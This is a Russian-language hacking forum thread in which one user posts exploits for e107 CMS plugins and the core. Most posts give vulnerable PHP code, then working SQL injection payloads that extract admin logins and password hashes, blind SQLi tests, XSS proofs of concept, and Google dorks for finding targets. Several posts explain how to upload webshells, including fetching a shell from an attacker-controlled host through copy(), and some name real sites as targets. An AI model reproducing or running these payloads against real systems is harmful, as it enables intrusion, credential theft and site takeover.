/*...*/require_once(e_ADMIN."auth.php");/*...*/ 

Если есть, то можно писать в файл код так чтоб не напротить функциональность,
в поле Name(например )
Цитата:

Name Here";phpinfo();?><? $b="1
или в другой файл пишем наш код:

PHP код:

/*...*/if ($_POST['Submit']) {
extract($_POST);

$fp = fopen('config.php', 'w');

$content .= "<?php\n";
$content .="define('ONLINE','$online');\n";
$content .="define('CLAN','$clan');\n";
$content .="define('PVP','$pvp');\n";
$content .="define('PK','$pk');\n";
$content .="define('LVL','$lvl');\n";
$content .="define('REG','$reg');\n";
$content .="?>";
fwrite($fp, $content); 
fclose($fp);
echo "<div style='margin-left:30px'>Success </div>";
 echo "<META HTTP-EQUIV='refresh' CONTENT='0; URL=admin_l2s_admin.php'>";
 }; 



echo "</div>";



require_once(e_ADMIN."footer.php");

Далее http:/[host]/[path]/e107_plugins/l2stat/dbconfig.php и смотрим пхпинфо в dbconfig.php
Или в том же файле, dbconfig.php инклудиться просто. Вот так.
ps 1. остальные скрипты работают 2. можно в паблик спускать

Strilo4ka 06.07.2010 14:45

WowRoster v0.97 by salixzs плагин за 2009.

не смог понять - установил, а таблиц от плагина небыло. хм....

inurl:e107_plugins/wowroster - примерно 2 260

Иньекция в order by (вывода ошибки нет!)

Как лить шелл если есть условия понятно.

roster.php в корне плагина
PHP код:

/*...*/if(isset($_GET['order']))
{
    
$order $_GET['order'];
}
else
{
    
$order "rank";
}
/*...*/ 

PHP код:

/*...*/
}
    
$text .= "</tr>\n";
    
$db2->db_Select_gen("SELECT chr.*, usr.user_name FROM ".MPREFIX."wowchars chr LEFT JOIN ".MPREFIX."user usr on usr.user_id=chr.user_id ORDER BY ".$order." ".($order=="achievements" "DESC" "ASC").", name ASC LIMIT ".$offset.",".$rowsPerPage);
    while(
$toon $db2->db_Fetch())/*...*/ 

Тут можна понять что она есть:
http://ruthlesskings.net/e107_plugin...order=15,16,17

http://ruthlesskings.net/e107_plugin...order=15,16,17 limit 5--+ -true

http://ruthlesskings.net/e107_plugin...order=15,16,17 limit 5 - false

Пути:
http://ruthlesskings.net/e107_plugin...aders_menu.php

http://ruthlesskings.net/e107_plugin...nline_menu.php

http://ruthlesskings.net/e107_plugin...evers_menu.php

http://ruthlesskings.net/e107_plugin...ter_helper.php

Цитата:

Fatal error: Call to undefined function include_lan() in /home/shadowd3/public_html/ruthlesskings.net/e107_plugins/wowroster/roster_helper.php on line 2

Strilo4ka 06.07.2010 14:47

Notice Board v1.0 Date 13:09 14-May-1

SQL inj (крутим через ошибку!)

PHP код:

/*...*/
$gnl_user=USERNAME;
    
$gnl_email=USEREMAIL;
    
$action $_POST["action"];
    
$gnl_id $_POST["gnl_id"];
    
$selected=$_POST['gnl'];
    
$sele=$_POST['sele'];
    
$gnl_scatid $_POST["cat_name"];
    
$gnl_name $_POST["gnl_name"];
    
$gnl_city $_POST["gnl_city"];
    
$gnl_detail $_POST["gnl_detail"];
    
$gnl_price $_POST['gnl_price'];
    if (
USER==FALSE){
        
$gnl_user=$_POST['gnl_user'];
        
$gnl_email=$_POST['gnl_email'];}
    
$gnl_phone $_POST['gnl_phone'];
    
$days $_POST['days'];
    
$gnl_date date("d-m-Y");
    
$gnl_kikoz =date("d-m-Y" strtotime("+ $days day"));
    
$email= new Validator();
    
$phone= new Validator();
    
$validator = new Validator();
    if (
USER==FALSE) {
        
$validator->create_error('gnl_user''Введите ваше имя, не более 20 символов''length');
    }
    
$validator->create_error('gnl_name''Введите заголовок''length');                // name of notice
    
$validator->create_error('gnl_city''Введите ваш город, не более 20 символов''length');    // city of notice
    
$validator->create_error('gnl_price''Введите цену''gnl_price');                // price of notice
    
$validator->create_error('gnl_detail''Введите текст объявления''length_detail');        // detail of notice
if (USER==FALSE) {
$validator->create_error('code''Решите пример''code');}
        
$ok = isset($_REQUEST['submitupload']) ? true false;
    if(
$ok){
            if(
$validator->valid())
                return 
false;
        if(
$phone->valid())
        return 
false;
        if(
$email->valid())
        return 
false;

/*...*/
$sql = new db;
        
$sql -> db_Insert("nb_gnl"" 0, '$gnl_scatid', '$gnl_name', '$gnl_city',  '$pic',  '$gnl_small', '$gnl_detail', '$gnl_price',  '$gnl_user', '$gnl_phone', '$gnl_email', '$gnl_date', '$gnl_kikoz'") or die(mysql_error());
/*...*/ 

target: http://[host]/[path]/e107_plugins/nboard/add.php

Цитата:

post
submitupload=1
gnl_user=aaa
gnl_city=a
gnl_price=a
gnl_email=',(select count(*) from (select 1 union select 2 union select 3)x group by concat((select concat_ws('~',user_loginname, user_password) from e107_user limit 0,1),':',floor(rand(0)*2))),'1','2','3','4','5')/*
code=[сложение чисел (капча)!]
need: mg=off

Note: форма есть на целевом ресурсе, есть другие SQL inj.

target: http://[host]/[path]/e107_plugins/nboard/add.php

2-d order inj
. (никаких условий!)
PHP код:

 /*...*/

$selected=$_POST['gnl'];

/*...*/

if(IsSet($_POST['nb_submit3'])){
$sql -> db_Select("nb_gnl""*""gnl_id=$selected");
 while(
$row $sql -> db_Fetch())
        {
                
                
$gnl_name=$row['gnl_name'];
                
$gnl_city=$row['gnl_city'];
                
$gnl_detail=$row['gnl_detail'];
                
$gnl_price=$row['gnl_price'];
                
$gnl_user=$row['gnl_user'];
                
$gnl_phone=$row['gnl_phone'];
                
$gnl_email=$row['gnl_email'];
                
$gnl_date=$row['gnl_date'];
                
$gnl_kikoz=$row['gnl_kikoz'];
            }
}
/*...*/

$sql -> db_Select("nb_gnl""*""gnl_user='$gnl_user'");
    while(
$row $sql -> db_Fetch()){
    
$gnl_id $row['gnl_id'];
    
$gnl_name=$row['gnl_name'];
    
$text .="<option value='$gnl_id'>$gnl_name</option>";
/*...*/ 

Екплуатация:
Код HTML:

<form action="http://[host]/[path]/e107_plugins/nboard/add.php" method=post> <input type=hidden name=nb_submit3> <input type=hidden name=gnl value='-2 union select 1,2,3,4,5,6,7,8,0x2720756e696f6e2073656c6563742031 2c322c636f6e6361745f777328273a272c757365725f6c6f67 696e6e616d652c757365725f70617373776f7264292c342c35 2c362c372c382c392c31302c31312c31322c31332066726f6d 20653130375f75736572206c696d697420302c312d2d20,10, 11,12,13 '> <input type=submit> </form>
Цитата:

<option value='1'>admin:21232f297a57a5a743894a0e4a801fc3</option>
Note: где то в файле видел XSS. Ну и у других запросах SQL inj

Strilo4ka 06.07.2010 14:51

Plugin name: Kroozearcade
Version: 8.0

2-d order inj(никаких условий!)

Vuln file: /kroozearcade_menu/games/game.php

PHP код:

/*...*/
// Print navigation menu
if (isset($_GET['game'])) {
    
$text "";
    if (isset(
$_GET['userid'])) {
    
$text .= "<a href='".e_PLUGIN."kroozearcade_menu/kroozearcade.php'>".KROOZEARCADE_1."</a>";
    
$text .= " --> <a href='".e_PLUGIN."kroozearcade_menu/hof.php'>".KROOZEARCADE_129."</a>";
    
$text .= "--> <a href='".e_PLUGIN."kroozearcade_menu/hof.php?u=".$_GET['userid']."'>".KROOZEARCADE_131."</a>";
    
$sql->mySQLresult = @mysql_query("SELECT game_title, game_id FROM ".MPREFIX."arcade_games WHERE game_id='".$_GET['gameid']."';");
    
$row $sql->db_Fetch();
    
$text .= " --> <a href='".e_PLUGIN."kroozearcade_menu/play.php?catid=".$_GET['catid']."&gameid=".$_GET['gameid']."&userid=".$_GET['userid']."'>".$row['game_title']."</a>";
    } elseif (isset(
$_GET['t'])) {
    
$text .= "<a href='".e_PLUGIN."kroozearcade_menu/kroozearcade.php'>".KROOZEARCADE_1."</a>";
    
$text .= " --> <a href='".e_PLUGIN."kroozearcade_menu/tournaments.php'>".TOURNAMENTS_1."s</a>";
    
$sql->mySQLresult = @mysql_query("SELECT game_id FROM ".MPREFIX."arcade_tournaments WHERE tournament_id=".$_GET['t'].";");
    
$id $sql->db_Fetch();
    
$sql->mySQLresult = @mysql_query("SELECT game_title FROM ".MPREFIX."arcade_games WHERE game_id=".$id['game_id'].";");
    
$name $sql->db_Fetch();
    
$text .= " --> <a href='".e_PLUGIN."kroozearcade_menu/tournaments.php?t=".$_GET['t']."'>".$name['game_title']." ".TOURNAMENTS_1."</a>";
    } elseif (
$_GET['catid'] == "challenges") {
    
$text .= "<a href='".e_PLUGIN."kroozearcade_menu/kroozearcade.php'>".KROOZEARCADE_1."</a>";
    
$text .= " --> <a href='".e_PLUGIN."kroozearcade_menu/challenges.php'>".KROOZEARCADE_130."</a>";
    
$sql->mySQLresult = @mysql_query("SELECT game_title, game_id FROM ".MPREFIX."arcade_games WHERE game_id='".$_GET['gameid']."';");
    
$row $sql->db_Fetch();
    
$text .= " --> <a href='".e_PLUGIN."kroozearcade_menu/play.php?catid=".$_GET['catid']."&gameid=".$_GET['gameid']."'>".$row['game_title']."</a>";
    } elseif (
$_GET['catid'] == "fav") {
/*...*/ 

Exploit:
Код:

http://[host]/[path]/e107_plugins/kroozearcade_menu/games/game.php?game=1&t=1 and 0 union select 0x3120616e64203020756e696f6e2073656c65637420636f6e  6361745f777328277e272c757365725f6c6f67696e6e616d65  2c757365725f70617373776f7264292066726f6d2065313037  5f75736572206c696d697420302c31
Note: Вывод:
Цитата:

Arcade --> Tournaments --> admin~21232f297a57a5a743894a0e4a801fc3 Tournament
Есть много SQL inj, но нужно mg=off + есть XSS.

Strilo4ka 06.07.2010 14:53

Unobtrusive AJAX Star Rating Bar

v3.0 Date 18:04 20-Jan-10

blind SQL inj

e107_plugins/ratings/ajax.php
PHP код:

 require_once("../../class2.php");

global 
$pref;

if(
$_POST['action']){


    switch(
$_POST['action']){
     case 
"ratings":

//getting the values
$q explode(","$_POST['query']);

$vote_sent preg_replace("/[^0-9]/","",$q[0]);
$id_sent preg_replace("/[^0-9a-zA-Z]/","",$q[1]);
$ip_num preg_replace("/[^0-9\.]/","",$q[2]);
$units preg_replace("/[^0-9]/","",$q[3]);
$user_rid preg_replace("/[^0-9a-zA-Z\.]/","",$q[4]);
$ratings_cat $q[5];
/*...*/
$newtotals = new db;
$newtotals ->db_Select("ratings""*""rate_id='$id_sent' AND total_cat = '$ratings_cat' ");
/*...*/


/*...*/
 
if ( $pref['ratings_message_responce'] == 'true' ) {

$new_back[] .= '<p class="voted">'.$id_sent.'. Rating: <strong>'.@number_format($sum/$added,1).'</strong>/'.$units.' ('.$count.' '.$tense.' cast) ';
$new_back[] .= '<span class="thanks">Thanks for voting!</span></p>';

$new_back[] .= '</div>';
$allnewback join("\n"$new_back);

echo 
$allnewback;
}
/*...*/ 

Условие: mg=off

Експлуатация:
Цитата:

POST
action=ratings
query=1,2,3,4,5,6' or @@version=5-- true
Цитата:

2. Rating: 1.0/4 (0 votes cast) Thanks for voting!
Цитата:

POST
action=ratings
query=1,2,3,4,5,6' or @@version=4-- false
Цитата:

2. Rating: 1.0/4 ( votes cast) Thanks for voting!
ps полноценную не провести так как query по "," разбиваеться на подстроки

Strilo4ka 06.07.2010 14:58

дорк:intext:This site is powered by e107

e107 Version 0.7.20

Passive XSS

Vuln file /e107_files/thumb.php
PHP код:

 require_once("../class2.php");
require_once(
e_HANDLER."resize_handler.php");

if (
e_QUERY)
{
    
$tmp explode('+',rawurldecode(e_QUERY));
    if(
strpos($tmp[0], '/') === || strpos($tmp[0], ":") >= 1)
    {
        
$source $tmp[0];    // Full path to image specified
    
}
    else
    {
        
$source "../".str_replace('../','',$tmp[0]);
    }
    if (!
$source)
    {
        echo 
"No image name.<br />";
        exit;
    } 
    
$newsize intval($tmp[1]);
    
    if ((
$newsize 5) || ($newsize 4000))    // Pretty generous limits
    
{
        echo 
"Bad image size: {$newsize}<br />";
        exit;
    } 
    
$opts varset($tmp[2],'upsize');
    if(!
resize_image($source'stdout'$newsize$opts))
    {
        echo 
"Couldn't find: {$source}<br />";
    } 


http://[host]/[path]e107_files/thumb.php?1e107_files/thumb.php?<script>alert(123)</script>%2b5
Цитата:

Couldn't find: ../<script>alert(123)</script><br />
ps
Проверил на самой последней 0.7.21
Ковыряем двиг дальше у кого есть желание!

Strilo4ka 06.07.2010 20:11

AACGC Hall of Shame v1.6 by ~M@CH!N3~
07:27 02-Apr-10
скачать
Blind SQL inj
гугл- inurl:e107_plugins/aacgc_hos
[path]/e107_plugins/aacgc_hos/HOS_Details.php
PHP код:

...require_once("../../class2.php");
require_once(
HEADERF);
if (
e_QUERY) {
        
$tmp explode('.'e_QUERY);
        
$action $tmp[0];
        
$sub_action $tmp[1];
        
$id $tmp[2];
        unset(
$tmp);
}


//------------------------------------------------------------------------------------------------------------

$text .= "<center><table style='width:90%' class='indent' cellspacing='' cellpadding=''>";


$sql->db_Select("aacgc_hos""*""WHERE hos_id = $sub_action","");
$row $sql->db_Fetch();... 

плюс - никаких условий.
минус - надо знать hos_id.

Результат:
Пусть hos_id=1 и 5 ветка
http://[host]/[path]/e107_plugins/aacgc_hos/HOS_details.php?.1 and substring(version(),1,1)=5 - есть контент!
http://[host]/[path]/e107_plugins/aacgc_hos/HOS_details.php?.1 and substring(version(),1,1)=4 - нет контента!

ps с "+" контент не выводился (если в гет пихать)

Strilo4ka 06.07.2010 20:12

FileDownload Advanced v2.0 by The Hunter
скачать
гугл- inurl:e107_plugins/FileDownload

http://[host]/[path]/e107_plugins/FileDownload/filedownload/upload.php
PHP код:

require_once("config.php");
require_once(
"functions.php");

if (
$_GET["dir"])
    
$dir $_GET["dir"];
else
    
$dir $_POST["dir"];

if (
$_POST["numfiles"])
    
$numfiles $_POST["numfiles"];
else
    
$numfiles 4;

if ((isset(
$_POST["hide"])) and (isset($dir)))
{
    for (
$x 1$_POST["file".$x]; $x++)
    {
        
$file $_POST["file".$x];
        
$copy copy($file,$dir."/".getFileName($file));
        
$upload_ok .= "<tr><td style='width:100%' colspan=8 class='header2'>Uploaded:" getFileName($file) . " successfully.</td></tr>";
    }


./config.php
PHP код:

//$expPrefPass='';
$expBaseDir='../';
$expSortOrder=0;
$expDisplaySearch...
Как видно первая строка закоментирована.
... 

./functions
PHP код:

require_once("config.php");

if (isset(
$_COOKIE["phpFileDownload_login"]))
    if (
$_COOKIE["phpFileDownload_login"] != $expPrefPass)
        
header ("location: login.php");...
И посему нет никакой переадресации если куки не устанавливать. ):
...function 
getFileName ($file)
{
    
$strlen strlen($file); 
    
$retfile "";
    while (
$strlen 0)
    {
        
$_g substr(substr($file$strlenstrlen($file)), 01);
        if ((
$_g == "\\") or ($_g == "/"))
            break;

        
$retfile substr($file$strlenstrlen($file)); 
        
$strlen $strlen-1
    } 
    return 
$retfile;
}... 

Результат:
Цитата:

Функция copy
Замечание: Начиная с PHP версии 4.3.0, оба параметра, source и dest, могут быть URL'ами, если были включены "упаковщики fopen"
Заливаем на хостинг шелл или с своего розшареного.

Посылаем запрос:
<form action="http://[host]/[path]/e107_plugins/FileDownload/filedownload/upload.php" method=post>
<input type=hidden name=hide value=0><br>
<input type=text name="file1" value='http://[host2]/[path]/shell.php'><br>
<input type=text name=dir value=log><br>
<input type=submit>
</form>

Наш шелл:
http://[host]/[path]/FileDownload/filedownload/log/shell.php

Strilo4ka 06.07.2010 20:13

TiltViewer v1.2 by The_Death_Raw
Если уставновлен,то повезло. скачать
Заливаем шельца!

гугл- inurl:e107_plugins/tiltviewer

http://[host]/[path]/e107_plugins/tiltviewer/gestion_fichiers.php
PHP код:

...// fonction upload
foreach ($_FILES["filez"]["error"] as $key => $error) {
    if (
$error == UPLOAD_ERR_OK) {
        
$tmp_name $_FILES["filez"]["tmp_name"][$key];
        
$name $_FILES["filez"]["name"][$key];
        
move_uploaded_file($tmp_name"./uploads/$name");
        
       
Header("Location: ".$_SERVER['PHP_SELF'].""); 
 
    }... 

Выбираем наш шелл и Send the files

http://[host]/[path]/e107_plugins/tiltviewer/uploads/name_our_shell.php

ps заходил под админом и тогда лил, хоть и нужны права но мб пригодиться ;)

Strilo4ka 06.07.2010 20:14

AACGC BFBC2 Stats v1.3 by ~M@CH!N3~
скачать
2-d order inj

гугл- inurl:e107_plugins/aacgc_bfbcstats

[path]/e107_plugins/aacgc_bfbcstats/Member_Details.php

PHP код:

...require_once("../../class2.php");
require_once(
HEADERF);

if (
e_QUERY) {
        
$tmp explode('.'e_QUERY);
        
$action $tmp[0];
        
$sub_action $tmp[1];
        
$id $tmp[2];
        unset(
$tmp);
}

if (
$pref['bfbc_enable_gold'] == "1"){$gold_obj = new gold();}

//---------------------------------------------------------------

$title .= "Battlefield Bad Company 2 Member Details"

//---------------------------------------------------------------

$sql ->db_Select("user_extended""*""WHERE user_extended_id=$sub_action","");
$row $sql->db_Fetch();
$sql2 ->db_Select("user""*""WHERE user_id='".$row['user_extended_id']."'","");
$row2 $sql2->db_Fetch();
if (
$pref['bfbc_enable_gold'] == "1"){
$username "".$gold_obj->show_orb($row2['user_id'])."";}
else
{
$username "".$row2['user_name']."";}
if (
$pref['bfbc_enable_avatar'] == "1"){
if (
$row2['user_image'] == "")
{
$avatar "";}
else
{
$useravatar $row2[user_image];
require_once(
e_HANDLER."avatar_handler.php");
$useravatar avatar($useravatar);
$avatar "<img src='".$useravatar."' width=".$pref['bfbc_avatar_size']."px></img>";}}
$bfbcname $row['user_bfbc2'];

//------------------------------------------------------

$text .= "<table style='width:100%' class=''>";

$text .= "
<tr>
<td bgcolor='#000000'><center><img src='"
.e_PLUGIN."aacgc_bfbcstats/images/bfbc2banner.jpg'></img></center></td>
</tr>"
;... 

Результат:
хексим:
Код:

' union select 1,concat_ws(user_loginname,':',user_password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31 from e107_user limit 0,1--
Код:

http://host//path/e107_plugins/aacgc_bfbcstats/Member_Details.php?.1%20and%200%20union%20select%200x2720756e696f6e2073656c65637420312c636f6e6361745f777328757365725f6c6f67696e6e616d652c273a272c757365725f70617373776f7264292c332c342c352c362c372c382c392c31302c31312c31322c31332c31342c31352c31362c31372c31382c31392c32302c32312c32322c32332c32342c32352c32362c32372c32382c32392c33302c33312066726f6d20653130375f75736572206c696d697420302c312d2d20,2
Цитата:

Username: :admin21232f297a57a5a743894a0e4a801fc3 ()
Пути:
http://[host]/[path]/e107_plugins/aacgc_bfbcstats/kits.php
http://[host]/[path]/e107_plugins/aacgc_bfbcstats/general.php
http://[host]/[path]/e107_plugins/aacgc_bfbcstats/teams.php
http://[host]/[path]/e107_plugins/aacgc_bfbcstats/BFBC2_menu.php

ps
- "+" заменяем на " ";
- незабываем за шелл через 2-ой запрос.

Strilo4ka 06.07.2010 20:15

Advanced Ranking and Medal System v1.5 by MikeNL
21:44 31-Jan-10
скачать

SQL inj


гугл- inurl:e107_plugins/advmedsys

[path]/e107_plugins/advmedsys/advmedsys_view.php
PHP код:

...require_once("../../class2.php");
require_once(
HEADERF);
//-----------------------------------------------------------------------------------------------------------+
//-----------------------------------------------------------------------------------------------------------+
if (e_QUERY) {
        
$tmp explode('.'e_QUERY);
        
$action $tmp[0];
        
$sub_action $tmp[1];
        
$id $tmp[2];
        unset(
$tmp);
}
$lan_file e_PLUGIN."advmedsys/languages/".e_LANGUAGE.".php";
require_once(
file_exists($lan_file) ? $lan_file :  e_PLUGIN."advmedsys/languages/English.php");
//-----------------------------------------------------------------------------------------------------------+
if ($action == "main" || $action == "") {... 

PHP код:

...if ($action == "det")
{
        
$width "width:100%";
           
$text .= "
        <div style='text-align:center'>
    <br><a href='advmedsys_view.php'><center>[ "
.AMS_VIEW_S9." ]</center></a><br>
        <table style='"
.$width."' class='fborder' cellspacing='0' cellpadding='0'>
        <tr>
        <td style='width:80px' class='forumheader3'><center>"
.AMS_VIEW_S1."</td>
        <td style='width:100%' class='forumheader3'>"
.AMS_VIEW_S2."</td>
        </tr>"
;
        
$sql->db_Select("advmedsys_medals""*""WHERE medal_id = $sub_action","");
        
$row $sql->db_Fetch();
        
$text .= "
        <tr>
        <td style='width:80px' class='forumheader3'><img src='medalimg/"
.$row['medal_pic']."' alt = '".AMS_VIEW_S1."'></img></td>
        <td style='width:100%; vertical-align:middle' class='forumheader3'>"
.$row['medal_name']."</td>
        </tr>
        </table>
        <br></br>... 

Далее по коду 2-d order inj.

Результат:

http://[host]/[path]/e107_plugins/advmedsys/advmedsys_view.php?det.1 and 0 union select 1,2,3,concat_ws(0x3a,user_loginname,user_password) from e107_user

http://[host]/[path]/e107_plugins/advmedsys/advmedsys_view.php?det.1 and 0 union select 1,concat_ws(0x3a,user_loginname,user_password),3,4 from e107_user limit 0,1

пример:
http://www.truescap.com/e107_plugins...ew.php?det.1/*! and 0 union select 1,2,3,concat_ws(0x3a,user_loginname,user_password) from e107_user*/

Strilo4ka 06.07.2010 20:17


Как лить шелл через админку.

Способ 1.
Если в e107_admin/ есть filetypes.php, то можно устанавливать плагины!

По умолчанию этот файл называеться filetypes_.php, тоесть лить неззя.

Тогда такой massage:
An error has occurred, unable to un-archive the file PCLZIP extract error: 'PCLZIP_ERR_MISSING_FILE (-4)'

Но если filetypes.php, то берем madnet шелл (или wso etc чтоб никого не обидеть! ^_^), выкачиваем плагин (любой!), распаковываем, пыхаем туда наш шелл, архивируем, ну и устанавливаем плагин.

Пробывал на Spam Cleaner v1.0 by martinj - размер 2.7 кб. [скачан отсюдо]

и если ниче не блочит типо mod_security
http://[host]/[path]/e107_plugins/spamcleaner/our_shell.php

Способ 2.
Такой же, только через установку новой темы в админке Theme Manager -> Upload Theme.
http://[host]/[path]/e107_themes/mew_team/our_shell.php

ps
1. Проверял на последней сборке!
2. Делимся способами заливки! ):

up

Способ 3.
Через бажный плагин если таковой имееться.

Strilo4ka 06.07.2010 20:18

ех,вкусная бреш!
плагин за 2009 год, скачан отсюдо

гугл- inurl:e107_plugins/radio_plan/

http://[host]/[path]/e107_plugins/radio_plan/admin/upload.php
PHP код:

...include "../configuration.php";
    include 
"../includes/functions.inc.php";

    if(
$_FILES){
        if(
move_uploaded_file($_FILES['pic']['tmp_name'], '../images/' get('target') . '/' $_FILES['pic']['name'])){
            echo 
"Upload erfolgreich";

            
$image_path '../images/' get('target') . '/';

            
// Bilder  in der Grosse anpassen
            //$act_image = $_FILES['pic']['name'];
//            $image_parts = explode('.', $act_image, -1);
//            $image_name = $image_parts[0];
//            $image_parts = explode('.', $act_image);
//            $image_ext = array_pop($image_parts);
//
//            $full_image = $image_name . '.full.' . $image_ext;
//            $thumb_image = $image_name . '.thumb.' . $image_ext;
//
//            image_resize($image_path . $act_image, $image_full_width, $image_full_height, $image_path . $full_image, $image_ext);
//            image_resize($image_path . $act_image, $image_thumb_width, $image_thumb_height, $image_path . $thumb_image, $image_ext);
//
        //    unlink($image_path . $act_image);
        
}
        else
            echo 
"Upload fehlgeschlagen";... 

[path]/e107_plugins/radio_plan/includes/functions.inc.php
PHP код:

...function get($var$flag ''){
    
$let_get TRUE;

    if(
strpos("/POST"$var) === FALSE){
        
$let_get FALSE;
        
$var ereg_replace("/POST""",  $var);
    }
    if(isset(
$_POST[$var]))
        return 
$_POST[$var];
    else if(isset(
$_GET[$var]) && $let_get == FALSE)
        return 
$_GET[$var];
    else if(isset(
$_FILES[$var][$flag]) && $let_get == FALSE)
        return 
$_FILES[$var][$flag];
    else
        return 
FALSE;
}... 

Когда лил шелл на локале - была ошибка, но понял что у меня PHP Version 5.3.1
И это связано с этим:
Цитата:

Note: As of PHP 5.3.0, the regex extension is deprecated in favor of the PCRE extension. Calling this function will issue an E_DEPRECATED notice. See the list of differences for help on converting to PCRE.
заменил на:
PHP код:

$var preg_replace("@/POST@""",  $var); 

Уря ):

http://[host]/[path]/e107_plugins/radio_plan/images/our_sell.php

ps
на целевом ниче не надо менять.
забыл, пост слать не надо, там сразу форма с загрузкой файла выводиться когда обращаемся к скрипту upload.php ):

Strilo4ka 06.07.2010 20:19

Alternate Profiles
выкачал отсюдо
гугл- inurl:e107_plugins/alternate_profiles

./e107_plugins/alternate_profiles/db_upgrade.php
PHP код:

...
if(isset(
$_GET['con'])) {

$start $_GET['start'];
$end $_GET['end'];

$query =  mysql_query("SELECT * FROM ".MPREFIX."alternate_profiles LIMIT $start,$end");
$rows mysql_num_rows($query);
if (isset(
$_GET['count'])) {
$count $_GET['count'];
$first $_GET['start'] - 2;
echo 
"Users #".$first." to #".$count." have been updated.<br/>";
} else {... 

PHP код:

...$split explode("[||]",$row['user_custompage']);
    if (
$split[0] == "0019283") {
    
$array = Array();
    
$array['Mood'] = $split[1];
    
$array['Status'] = $split[2];
    
$array['Orientation'] = $split[3];
    
$array['Hometown'] = $split[4];
    
$array['Ethnicity'] = $split[5];
    
$array['Occupation'] = $split[6];
    
$array['Music'] = $split[7];
    
$array['Films/Television'] = $split[8];
    
$array['Favourite_Books'] = $split[9];
    
$array['aboutme'] = $split[10];
    
$db serialize($array);
    
mysql_query("UPDATE ".MPREFIX."alternate_profiles SET user_custompage='".$db."', user_simple='1' WHERE user_id=".$row['user_id']." ");
    unset(
$array);
    
$count++;
    echo 
"Updated user #".$row['user_id']."<br/>";
    } else {
    
mysql_query("UPDATE ".MPREFIX."alternate_profiles SET user_simple='0' WHERE user_id=".$row['user_id']." ");
    }... 

Результат:
passive XSS
http://[host]/[path]/e107_plugins/alternate_profiles/db_upgrade.php?con&start=0&end=1&count=<script>ale rt(123)</script>


blind SQL inj
чтоб крутить в результат первого запроса надо впихнуть:0019283[||], ну понятно лучше захексить, чтоб обойти кавычки ):

Пусть 5 вертка

http://[host]/[path]/e107_plugins/alternate_profiles/db_upgrade.php?con&start=0&end=1 union select 1,0x303031393238335b7c7c5d27,3,4,5,6,7,8,9,10,11 from (select 1 union select 2 union select 3)x where substring(version(),1,1)=5
A total of 1 profiles have been upgraded - true

http://[host]/[path]/e107_plugins/alternate_profiles/db_upgrade.php?con&start=0&end=1 union select 1,0x303031393238335b7c7c5d27,3,4,5,6,7,8,9,10,11 from (select 1 union select 2 union select 3)x where substring(version(),1,1)=4
A total of 0 profiles have been upgraded - false

плюс - никаких условий

Strilo4ka 06.07.2010 20:19

гугл- inurl:e107_plugins/rank_system/recommend.php

target:
http://[host]/[path]/e107_plugins/rank_system/recommend.php

passive XSS

/e107_plugins/rank_system/recommend.php
PHP код:

...$recomm = new recommend();

if (isset(
$_POST['nextstep']) )
{
    
$recomm_action $_POST['recomm_action'];
} else {
    
$recomm_action "";
}... 

PHP код:

....else if ($recomm_action == 'submit') {
    
$type intval($_POST['recomm_type']);
    
$target intval($_POST['recomm_target']);
    
$t_name $_POST['t_name'];
    
$r_for intval($_POST['recomm_for']);
    
$r_remarks $tp->toDB($_POST['recomm_remarks']);

    if (
$recomm->submitRecomm($target$type$r_for$r_remarks)) {
        
$msg RANKS_RM_11;
    } else {
        
$msg RANKS_RM_12;
    }

    
$rank_text .= '
     <table class="rsborder" style="' 
USER_WIDTH '">
         <tr>
             <td class="rscaption" style="text-align:left">' 
RANKS_RM_01 ' [' $t_name .']</td>... 

Результат (установить постом!):
nextstep = любое зн.
recomm_action=submit
t_name= xss

ps
сработает тока у авторизированого!

Strilo4ka 06.07.2010 20:20

AutoGallery v3.1_beta
[скачано]

в гугле:

inurl:e107_plugins/autogallery

Результаты 1 - 10 из примерно 132 000

путь в информации!
http://e107/e107_plugins/autogallery/help.php
Цитата:

Z:\home\e107\www\e107_plugins\autogallery\Gallery
пути (бес параметров запрос послать!):
http://e107/e107_plugins/autogallery/xmlplaylist.php
http://e107/e107_plugins/autogallery/editaction.php

пассивная XSS
e107_plugins/autogallery/arcade.php
PHP код:

....
// Do different things when the flash game gives different requests
$sessdo $_POST['sessdo'];

if (
$sessdo != ''

    
// Session start to get the game name - $title
    
$microone $_POST['microone'];
    
$score $_POST['score'];
    
$gametime $_POST['gametime'];
    
    
// Keep feeding that flash!
    
switch($sessdo
    { 
        case 
'sessionstart'
            
// Give it some random crap it doesn't really need (the initbar figure and lastid)
            
echo "&connStatus=1&gametime=$gametime&initbar=6Z4&lastid=6&val=x"
            exit; 
            break;
    
         
// Give it permission for... no apparent reason
        
case 'permrequest':
            
// Notice $microone = $score;  -__VERY IMPORTANT__
            
$microone $score;
            echo 
"&validate=1&microone=$microone";
            exit;
            break; ... 

target:
Цитата:

http://[host]/[path]/e107_plugins/autogallery/arcade.php
Result (шлем POST!):
sessdo=sessionstart
gametime=<script>alert(/XSS/)</script>
или
sessdo=permrequest
microone=<script>alert(/XSS/)</script>

<form action="http://[host]/[path]/e107_plugins/autogallery/arcade.php" method="POST">
<input type=text name=sessdo value=sessionstart><br>
<input type=text name=gametime value='<script>alert(/XSS/)</script>'><br>
<input type=submit value=Отправить>
</form>

Strilo4ka 06.07.2010 20:21

aa_meetings v1.1
[скачать]

SQL inj
/e107_plugins/aa_meetings/geocode.php
PHP код:

...// Select all the rows in the markers table
$query "SELECT * FROM ".MPREFIX."aam_meetings WHERE 1";
if (
$_GET['MeetingID']) $query .= " and MeetingID=".$_GET['MeetingID'];
else 
$query .= " and (Lat is null or Lng is null)";
$result mysql_query($query);
if (!
$result) {
  die(
"Invalid query: " mysql_error());
}... 

Result:
http://ovdpohe.sk/e107_plugins/aa_me...29%29%29x%29--

Strilo4ka 06.07.2010 20:22

Roster by Carl Taylor Version 2.0
гугл- inurl:/e107_plugins/roster

Blind SQL inj

[path]/e107_plugins/roster/userinfo.php
PHP код:

...
//html file
require_once("html/roster_userinfo.php");
$html = new userinfo_html;

switch(
$_GET['action']){
    default:
        
$text $html->uinfo_show($_GET['m_id']);
}... 

[path]/e107_plugins/roster/html/roster_userinfo.php
PHP код:

...
Class 
userinfo_html {

    function 
uinfo_show($m_id) {
    global 
$sql;

        
// get the member
        
$member_q $sql->db_Select("roster_members""*""roster_member_id='".$m_id."'");
        
$member_a $sql->db_Fetch(MYSQL_ASSOC);
        
$rank explode(","$member_a['roster_member_rank']);
              
$enlisted date("dMY"$member_a['roster_member_enlisted']);
              
$enlisted strtoupper($enlisted);
              
$patterns[0] = "/JUN/";
